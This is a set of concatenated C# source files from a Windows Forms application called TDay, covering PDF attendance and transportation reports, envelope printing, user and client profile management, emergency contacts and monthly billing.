BaseColor(Color.DimGray)))); image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if (attendace.Tuesday) { image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE); } image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = 1; valcell.AddElement(image); valcell.PaddingBottom = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if (attendace.Wednesday) { image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE); } image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = 1; valcell.AddElement(image); valcell.PaddingBottom = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if (attendace.Thursday) { image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE); } image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = 1; valcell.AddElement(image); valcell.PaddingBottom = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if (attendace.Friday) { image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE); } image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = 1; valcell.AddElement(image); valcell.PaddingBottom = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); } private static void AddTransportationCell(PdfPTable _Table, Transportation transportation) { AddHeader(_Table, "Transporation", 16, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); PdfPCell pricell = new PdfPCell(new Phrase("Monday", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; _Table.AddCell(pricell); pricell = new PdfPCell(new Phrase("Tuesday", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; _Table.AddCell(pricell); pricell = new PdfPCell(new Phrase("Wednesday", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; _Table.AddCell(pricell); pricell = new PdfPCell(new Phrase("Thursday", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; _Table.AddCell(pricell); pricell = new PdfPCell(new Phrase("Friday", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; _Table.AddCell(pricell); PdfPCell valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); iTextSharp.text.Image image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if (transportation.Monday) { image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE); } image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = 1; valcell.AddElement(image); valcell.PaddingBottom = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if (transportation.Tuesday) { image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE); } image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = 1; valcell.AddElement(image); valcell.PaddingBottom = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if (transportation.Wednesday) { image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE); } image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = 1; valcell.AddElement(image); valcell.PaddingBottom = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if (transportation.Thursday) { image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE); } image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = 1; valcell.AddElement(image); valcell.PaddingBottom = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if (transportation.Friday) { image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE); } image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = 1; valcell.AddElement(image); valcell.PaddingBottom = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); } public static string GetFileProcessName(string fileName) { Process[] procs = Process.GetProcesses(); foreach (Process proc in procs) { try { if (proc.MainWindowHandle != new IntPtr(0) && !proc.HasExited) { if (proc.MainWindowTitle.IndexOf(fileName) != -1) { proc.Kill(); break; } } } catch (Exception) { continue; } } return null; } public enum EnvelopeSize { Env10, EnvLS, EnvTY, EnvBD1, EnvBD2 } public static iTextSharp.text.Rectangle GetEnvelopeSize(EnvelopeSize Size) { iTextSharp.text.Rectangle _Rec = new iTextSharp.text.Rectangle(100,100); switch (Size) { case EnvelopeSize.Env10: _Rec = new iTextSharp.text.Rectangle(684, 297); break; case EnvelopeSize.EnvLS: _Rec = new iTextSharp.text.Rectangle(792, 612); break; case EnvelopeSize.EnvTY: _Rec = new iTextSharp.text.Rectangle(414, 288); break; case EnvelopeSize.EnvBD1: _Rec = new iTextSharp.text.Rectangle(522, 369); break; case EnvelopeSize.EnvBD2: _Rec = new iTextSharp.text.Rectangle(486, 333); break; } return _Rec; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Reflection; namespace TDay { public partial class UsersAdd : Form { public UsersAdd() { InitializeComponent(); } public int UserId = -1; private void UsersAdd_Load(object sender, EventArgs e) { // TODO: данная строка кода позволяет загрузить данные в таблицу "tDayDataSet.UGroups". При необходимости она может быть перемещена или удалена. this.uGroupsTableAdapter.Fill(this.tDayDataSet.UGroups); this.usersTableAdapter.Fill(tDayDataSet.Users); if (comboBox1.Items.Count > 0) { comboBox1.SelectedIndex = 0; } if (UserId != -1) { foreach (DataRow Row in tDayDataSet.Users) { if ((int)Row["UserId"] == UserId) { textBox1.Text = Row["Login"].ToString(); textBox2.Text = Row["Password"].ToString(); comboBox1.SelectedValue = (int)Row["UGroup"]; //comboBox1.Select(); break; } } button1.Text = "Edit"; } else { button1.Text = "Add"; } } private void button2_Click(object sender, EventArgs e) { this.Close(); } private void button1_Click(object sender, EventArgs e) { if (UserId == -1) { usersTableAdapter.Insert(textBox1.Text, textBox2.Text, (int)comboBox1.SelectedValue); ReLoad(sender, e); this.Close(); } else { foreach (DataRow Row in tDayDataSet.Users) { if ((int)Row["UserId"] == UserId) { Row["Login"] = textBox1.Text; Row["Password"] = textBox2.Text; Row["UGroup"] = comboBox1.SelectedValue; break; } } usersTableAdapter.Update(tDayDataSet.Users); ReLoad(sender, e); this.Close(); } } private static void ReLoad(object sender, EventArgs e) { Form mainForm = Application.OpenForms["Users"]; if (mainForm != null) { MethodInfo form1_Load = mainForm.GetType().GetMethod("Users_Load", BindingFlags.Instance | BindingFlags.DeclaredOnly | BindingFlags.NonPublic); form1_Load.Invoke(mainForm, new object[] { sender, e }); } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Windows.Forms; using System.Threading; namespace TDay { static class Program { /// <summary> /// Главная точка входа для приложения. /// </summary> [STAThread] static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); ErrorProvider.CheckLogDir(); using (var mutex = new Mutex(false, "TDay")) { if (mutex.WaitOne(TimeSpan.FromSeconds(3))) { Application.Run(new Auth()); if (Auth.isLogon) { Application.Run(new MainFrame()); } else { Application.Exit(); } } else { MessageBox.Show("Another instance of the app is already running"); } } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using System.Windows.Forms; namespace TDay { public class ErrorProvider { public static void CheckLogDir() { if (TDay.Properties.Settings.Default.DebugMode) { DirectoryInfo LogDirectory = new DirectoryInfo(Application.CommonAppDataPath + @"\Logs"); if (!LogDirectory.Exists) { LogDirectory.Create(); FileStream FS = new FileStream(Application.CommonAppDataPath + "\\Logs\\" + "TDay_" + DateTime.Now.Date.ToShortDateString() + ".log", FileMode.OpenOrCreate, FileAccess.ReadWrite); StreamWriter SW = new StreamWriter(FS); SW.WriteLine("DebugMode ON ***************************************************************"); SW.WriteLine("Date:" + DateTime.Now); SW.WriteLine("****************************************************************************"); SW.Close(); FS.Close(); } else { FileStream FS = new FileStream(Application.CommonAppDataPath + "\\Logs\\" + "TDay_" + DateTime.Now.Date.ToShortDateString() + ".log", FileMode.OpenOrCreate, FileAccess.ReadWrite); StreamWriter SW = new StreamWriter(FS); SW.WriteLine("DebugMode ON ***************************************************************"); SW.WriteLine("Date:" + DateTime.Now); SW.WriteLine("****************************************************************************"); SW.Close(); FS.Close(); } } } public static void SetException(Enums.ExceptionType exType, Exception ex) { if (TDay.Properties.Settings.Default.DebugMode) { FileStream FS = new FileStream(Application.CommonAppDataPath + "\\Logs\\" + "TDay_" + DateTime.Now.Date.ToShortDateString() + ".log", FileMode.OpenOrCreate, FileAccess.ReadWrite); StreamWriter SW = new StreamWriter(FS); SW.WriteLine("Error:" + exType.ToString()); SW.WriteLine("Message:" + ex.Message); SW.WriteLine("Source:" + ex.Source); SW.WriteLine("Data:" + ex.Data); SW.Close(); FS.Close(); } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { public class Bill { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.DaysTableAdapter daysTableAdapter = new TDayDataSetTableAdapters.DaysTableAdapter(); TDayDataSetTableAdapters.BillsTableAdapter billsTableAdapter = new TDayDataSetTableAdapters.BillsTableAdapter(); TDayDataSetTableAdapters.ProfilesTableAdapter profilesTableAdapter = new TDayDataSetTableAdapters.ProfilesTableAdapter(); public DateTime FirstDayOfMonth { get; set; } public DateTime LastDayOfMonth { get; set; } public static int ItemsCount { get; set; } public Bill() { FirstDayOfMonth = GetFirstMonthDay(DateTime.Now.Date); LastDayOfMonth = GetLastMonthDay(DateTime.Now.Date); } public void Create() { //daysTableAdapter.FillByMonth(tDayDataSet.Days, FirstDayOfMonth, LastDayOfMonth); if (!IsCreate()) { profilesTableAdapter.Fill(tDayDataSet.Profiles); foreach (DataRow _profile in tDayDataSet.Profiles) { if ((int)_profile["Category"] < (int)Enums.Category.BoardMember) { BillsItem Item = new BillsItem((int)_profile["ProfileId"], FirstDayOfMonth, LastDayOfMonth); Item.Insert(); } } //billsTableAdapter.DeleteByMonth(FirstDayOfMonth, LastDayOfMonth); //Удаляем все существующие записи за текущий месяц } } public static DateTime GetFirstMonthDay(DateTime Time) { DateTime _FirthDay = Time.AddDays(((int)Time.Day * (-1))+1); return _FirthDay; } public static DateTime GetLastMonthDay(DateTime Time) { DateTime _LastDay = Time.AddDays(DateTime.DaysInMonth(Time.Year, Time.Month) - Time.Day); return _LastDay; } public bool IsCreate() { bool _IsInBills = false; TDayDataSet tempSet = new TDayDataSet(); billsTableAdapter.FillByMonth(tempSet.Bills, FirstDayOfMonth, LastDayOfMonth); if (tempSet.Bills.Rows.Count > 0) { _IsInBills = true; } tempSet.Dispose(); return _IsInBills; } //private bool CheckNewBills() //{ // bool _IsNewBill = true; // int _TempItemsCount = 0; // TDayDataSet tempSet = new TDayDataSet(); // profilesTableAdapter.Fill(tempSet.Profiles); // daysTableAdapter.FillByMonth(tempSet.Days, FirstDayOfMonth, LastDayOfMonth); // foreach (DataRow _profile in tempSet.Profiles) // { // if ((int)_profile["Category"] < (int)Enums.Category.BoardMember) // { // foreach (DataRow _DayItem in tempSet.Days) // { // if ((int)_profile["ProfileId"] == (int)_DayItem["ProfileId"]) // { // _TempItemsCount++; // } // } // } // } // if (_TempItemsCount == ItemsCount) // { // _IsNewBill = false; // } // else // { // ItemsCount = _TempItemsCount; // } // tempSet.Dispose(); // return _IsNewBill; //} } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { class Client:Profile { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.ProfilesTableAdapter ProfilesTableAdapter = new TDayDataSetTableAdapters.ProfilesTableAdapter(); public string ParisNumber { get; set; } public string DoctorName { get; set; } public string DoctorPhone { get; set; } public string PharmacistName { get; set; } public string PharmacistPhone { get; set; } public bool Own { get; set; } public Transportation Transportation { get; set; } public bool Member { get; set; } public EmergencyContact DopEmergencyContact { get; set; } public Client() { } public Client(int ProfileUID) { this.ProfileUID = ProfileUID; ProfilesTableAdapter.Fill(tDayDataSet.Profiles); foreach (DataRow Row in tDayDataSet.Profiles) { if (Row["ProfileId"].ToString() == ProfileUID.ToString()) { this.Name = Row["Name"].ToString(); this.DateOfBirdh = DateTime.Parse(Row["BirthDate"].ToString()); this.ParisNumber = Row["PARISNumber"].ToString(); this.Member = bool.Parse(Row["Member"].ToString()); this.DoctorName = Row["DoctorName"].ToString(); this.DoctorPhone = Row["DoctorPhone"].ToString(); this.PharmacistName = Row["PharmacistName"].ToString(); this.PharmacistPhone = Row["PharmacistPhone"].ToString(); this.Own = bool.Parse(Row["Own"].ToString()); this.Adress = new Address(ProfileUID); this.EmergencyContact = new EmergencyContact(ProfileUID, false); this.DopEmergencyContact = new EmergencyContact(ProfileUID, true); if (DopEmergencyContact.EmergencyId == EmergencyContact.EmergencyId) { DopEmergencyContact = null; } this.Attendance = new Attendance(ProfileUID); this.Transportation = new Transportation(ProfileUID); } } } public void Create() { try { ProfilesTableAdapter.Insert(this.Name, (int)Enums.Category.Client, this.DateOfBirdh, null, null, null, null, null, this.ParisNumber, DoctorName, DoctorPhone, PharmacistName, PharmacistPhone, null,Member,false,Own); ProfilesTableAdapter.Fill(tDayDataSet.Profiles); this.ProfileUID = tDayDataSet.Profiles[tDayDataSet.Profiles.Count - 1].ProfileId; } catch (Exception ex) { ErrorProvider.SetException(Enums.ExceptionType.FunctionException, ex); } } new public void Update() { ProfilesTableAdapter.Fill(tDayDataSet.Profiles); DataRow Row = tDayDataSet.Profiles.FindByProfileId(ProfileUID); Row["Name"] = Name; Row["BirthDate"] = DateOfBirdh; Row["PARISNumber"] = ParisNumber; Row["Member"] = Member; Row["DoctorName"] = DoctorName; Row["DoctorPhone"] = DoctorPhone; Row["PharmacistName"] = PharmacistName; Row["PharmacistPhone"] = PharmacistPhone; Row["Own"] = Own; ProfilesTableAdapter.Update(tDayDataSet.Profiles); Adress.Update(); Attendance.Update(); EmergencyContact.Update(); if (DopEmergencyContact != null) { DopEmergencyContact.Update(); } Transportation.Update(); } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace TDay { public partial class PrintEnv : Form { public PrintEnv() { InitializeComponent(); } public int ProfileId =-1; private PdfPrinter.EnvelopeSize SendSize; private void toolStripButton6_Click(object sender, EventArgs e) { PdfPrinter.PrintEnvelope(1,SendSize, richTextBox1.Text,richTextBox2.Text); } private void toolStripButton1_Click(object sender, EventArgs e) { SendSize = PdfPrinter.EnvelopeSize.Env10; toolStripButton2.ForeColor = Color.DimGray; toolStripButton3.ForeColor = Color.DimGray; toolStripButton4.ForeColor = Color.DimGray; toolStripButton5.ForeColor = Color.DimGray; toolStripButton1.ForeColor = Color.CornflowerBlue; toolStripButton6.Enabled = true; } private void toolStripButton2_Click(object sender, EventArgs e) { SendSize = PdfPrinter.EnvelopeSize.EnvLS; toolStripButton1.ForeColor = Color.DimGray; toolStripButton3.ForeColor = Color.DimGray; toolStripButton4.ForeColor = Color.DimGray; toolStripButton5.ForeColor = Color.DimGray; toolStripButton2.ForeColor = Color.CornflowerBlue; toolStripButton6.Enabled = true; } private void toolStripButton3_Click(object sender, EventArgs e) { SendSize = PdfPrinter.EnvelopeSize.EnvTY; toolStripButton1.ForeColor = Color.DimGray; toolStripButton2.ForeColor = Color.DimGray; toolStripButton4.ForeColor = Color.DimGray; toolStripButton5.ForeColor = Color.DimGray; toolStripButton3.ForeColor = Color.CornflowerBlue; toolStripButton6.Enabled = true; } private void toolStripButton5_Click(object sender, EventArgs e) { SendSize = PdfPrinter.EnvelopeSize.EnvBD2; toolStripButton1.ForeColor = Color.DimGray; toolStripButton2.ForeColor = Color.DimGray; toolStripButton3.ForeColor = Color.DimGray; toolStripButton4.ForeColor = Color.DimGray; toolStripButton5.ForeColor = Color.CornflowerBlue; toolStripButton6.Enabled = true; } private void toolStripButton4_Click(object sender, EventArgs e) { SendSize = PdfPrinter.EnvelopeSize.EnvBD1; toolStripButton1.ForeColor = Color.DimGray; toolStripButton2.ForeColor = Color.DimGray; toolStripButton3.ForeColor = Color.DimGray; toolStripButton5.ForeColor = Color.DimGray; toolStripButton4.ForeColor = Color.CornflowerBlue; toolStripButton6.Enabled = true; } private void PrintEnv_Load(object sender, EventArgs e) { richTextBox1.Text = TDay.Properties.Settings.Default.PlantString.Remove(TDay.Properties.Settings.Default.PlantString.LastIndexOf("\n")); richTextBox1.SelectAll(); richTextBox1.SelectionAlignment = HorizontalAlignment.Center; if (ProfileId != -1) { Profile _prof = new Profile(ProfileId); richTextBox2.AppendText(_prof.Name + "\n"); richTextBox2.AppendText(_prof.Adress.Addres + "\n"); richTextBox2.AppendText(_prof.Adress.City + "\n"); richTextBox2.AppendText(_prof.Adress.PostalCode + "\n"); richTextBox2.SelectAll(); richTextBox2.SelectionAlignment = HorizontalAlignment.Center; } } private void toolStripButton8_Click(object sender, EventArgs e) { if (!richTextBox1.Enabled) { richTextBox1.Enabled = true; richTextBox1.BackColor = Color.White; richTextBox1.ReadOnly = false; richTextBox2.Enabled = true; richTextBox2.ReadOnly = false; richTextBox2.BackColor = Color.White; } else { richTextBox1.Enabled = false; richTextBox1.BackColor = SystemColors.Control; richTextBox1.ReadOnly = true; richTextBox2.Enabled = false; richTextBox2.ReadOnly = true; richTextBox2.BackColor = SystemColors.Control; } } private void toolStripButton7_Click(object sender, EventArgs e) { this.Close(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { public class Employee:Profile { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.ProfilesTableAdapter ProfilesTableAdapter = new TDayDataSetTableAdapters.ProfilesTableAdapter(); public DateTime HireDate { get; set; } public string Position { get; set; } public string SIN { get; set; } public string PositionType { get; set; } public Employee() { } public Employee(int ProfileUID) { this.ProfileUID = ProfileUID; ProfilesTableAdapter.Fill(tDayDataSet.Profiles); foreach (DataRow Row in tDayDataSet.Profiles) { if (Row["ProfileId"].ToString() == ProfileUID.ToString()) { this.Name = Row["Name"].ToString(); this.DateOfBirdh = DateTime.Parse(Row["BirthDate"].ToString()); this.HireDate = DateTime.Parse(Row["HireDate"].ToString()); this.Position = Row["Position"].ToString(); this.PositionType = Row["PositionType"].ToString(); this.SIN = Row["SIN"].ToString(); this.Adress = new Address(ProfileUID); this.EmergencyContact = new EmergencyContact(ProfileUID, false); this.Attendance = new Attendance(ProfileUID); break; } } } public new void Update() { ProfilesTableAdapter.Fill(tDayDataSet.Profiles); DataRow Row = tDayDataSet.Profiles.FindByProfileId(ProfileUID); Row["Name"] = Name; Row["BirthDate"] = DateOfBirdh; Row["HireDate"] = HireDate; Row["Position"] = Position; Row["PositionType"] = PositionType; Row["SIN"] = SIN; ProfilesTableAdapter.Update(tDayDataSet.Profiles); Adress.Update(); Attendance.Update(); EmergencyContact.Update(); } public void Create() { ProfilesTableAdapter.Insert(this.Name, (int)Enums.Category.Employee, this.DateOfBirdh, this.HireDate, Position, PositionType, null, SIN, null, null, null, null, null, null,null,false,false); ProfilesTableAdapter.Fill(tDayDataSet.Profiles); this.ProfileUID = tDayDataSet.Profiles[tDayDataSet.Profiles.Count - 1].ProfileId; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { public class EmergencyContact { private bool disposed = false; TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.EmergencyContactsTableAdapter emergencyContactsTableAdapter = new TDayDataSetTableAdapters.EmergencyContactsTableAdapter(); public int EmergencyId { get; set; } public int ProfileId { get; set; } public string Name { get; set; } public string Phone { get; set; } public string Relation { get; set; } public EmergencyContact() { } public EmergencyContact(int ProfileUID, bool DopEmergy) { emergencyContactsTableAdapter.Fill(tDayDataSet.EmergencyContacts); if (!DopEmergy) { foreach (DataRow Row in tDayDataSet.EmergencyContacts) { if (Row["ProfileId"].ToString() == ProfileUID.ToString()) { Name = Row["EmergencyContactName"].ToString(); Phone = Row["EmergencyContactPhone"].ToString(); Relation = Row["Relation"].ToString(); EmergencyId = int.Parse(Row["EmergencyId"].ToString()); break; } } } else { foreach (DataRow Row in tDayDataSet.EmergencyContacts) { if (Row["ProfileId"].ToString() == ProfileUID.ToString()) { if (Row["EmergencyContactName"].ToString() != Name) { Name = Row["EmergencyContactName"].ToString(); Phone = Row["EmergencyContactPhone"].ToString(); Relation = Row["Relation"].ToString(); EmergencyId = int.Parse(Row["EmergencyId"].ToString()); } } } } } public void AddEmergencyContactTo(Profile Profile) { emergencyContactsTableAdapter.Insert(Profile.ProfileUID, this.Name, this.Phone, this.Relation); } public void Update() { emergencyContactsTableAdapter.Fill(tDayDataSet.EmergencyContacts); DataRow Row = tDayDataSet.EmergencyContacts.FindByEmergencyId(EmergencyId); if (Row != null) { Row["EmergencyContactName"] = Name; Row["EmergencyContactPhone"] = Phone; Row["Relation"] = Relation; emergencyContactsTableAdapter.Update(tDayDataSet.EmergencyContacts); } } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (!disposed) { if (disposing) { // Free other state (managed objects). } // Free your own state (unmanaged objects). // Set large fields to null. disposed = true; } } ~EmergencyContact() { Dispose(false); } } } <file_sep>namespace TDay { partial class MainFrame { /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { this.components = new System.ComponentModel.Container(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(MainFrame)); this.panel1 = new System.Windows.Forms.Panel(); this.button4 = new System.Windows.Forms.Button(); this.button3 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button(); this.button1 = new System.Windows.Forms.Button(); this.panel2 = new System.Windows.Forms.Panel(); this.tabControl1 = new System.Windows.Forms.TabControl(); this.Attendance = new System.Windows.Forms.TabPage(); this.splitContainer2 = new System.Windows.Forms.SplitContainer(); this.dataGridView2 = new System.Windows.Forms.DataGridView(); this.profilesBindingSource = new System.Windows.Forms.BindingSource(this.components); this.tDayDataSet = new TDay.TDayDataSet(); this.daysBindingSource1 = new System.Windows.Forms.BindingSource(this.components); this.toolStrip7 = new System.Windows.Forms.ToolStrip(); this.toolStripButton5 = new System.Windows.Forms.ToolStripButton(); this.panel4 = new System.Windows.Forms.Panel(); this.label64 = new System.Windows.Forms.Label(); this.button10 = new System.Windows.Forms.Button(); this.label67 = new System.Windows.Forms.Label(); this.button9 = new System.Windows.Forms.Button(); this.Profiles = new System.Windows.Forms.TabPage(); this.splitContainer1 = new System.Windows.Forms.SplitContainer(); this.dataGridView1 = new System.Windows.Forms.DataGridView(); this.profileIdDataGridViewTextBoxColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.categoryDataGridViewTextBoxColumn = new System.Windows.Forms.DataGridViewComboBoxColumn(); this.categoriesBindingSource = new System.Windows.Forms.BindingSource(this.components); this.nameDataGridViewTextBoxColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.toolStrip6 = new System.Windows.Forms.ToolStrip(); this.toolStripLabel3 = new System.Windows.Forms.ToolStripLabel(); this.toolStripComboBox1 = new System.Windows.Forms.ToolStripComboBox(); this.toolStrip5 = new System.Windows.Forms.ToolStrip(); this.toolStripButton4 = new System.Windows.Forms.ToolStripButton(); this.toolStripTextBox1 = new System.Windows.Forms.ToolStripTextBox(); this.toolStrip3 = new System.Windows.Forms.ToolStrip(); this.toolStripButton3 = new System.Windows.Forms.ToolStripButton(); this.toolStripTextBox3 = new System.Windows.Forms.ToolStripTextBox(); this.button8 = new System.Windows.Forms.Button(); this.button7 = new System.Windows.Forms.Button(); this.button6 = new System.Windows.Forms.Button(); this.button5 = new System.Windows.Forms.Button(); this.tabControl2 = new System.Windows.Forms.TabControl(); this.ClientTab = new System.Windows.Forms.TabPage(); this.groupBox1 = new System.Windows.Forms.GroupBox(); this.label2 = new System.Windows.Forms.Label(); this.textBox_ClientName = new System.Windows.Forms.TextBox(); this.label3 = new System.Windows.Forms.Label(); this.textBox_ClientBirth = new System.Windows.Forms.TextBox(); this.ClientMember = new System.Windows.Forms.CheckBox(); this.label4 = new System.Windows.Forms.Label(); this.textBox_ClientParis = new System.Windows.Forms.TextBox(); 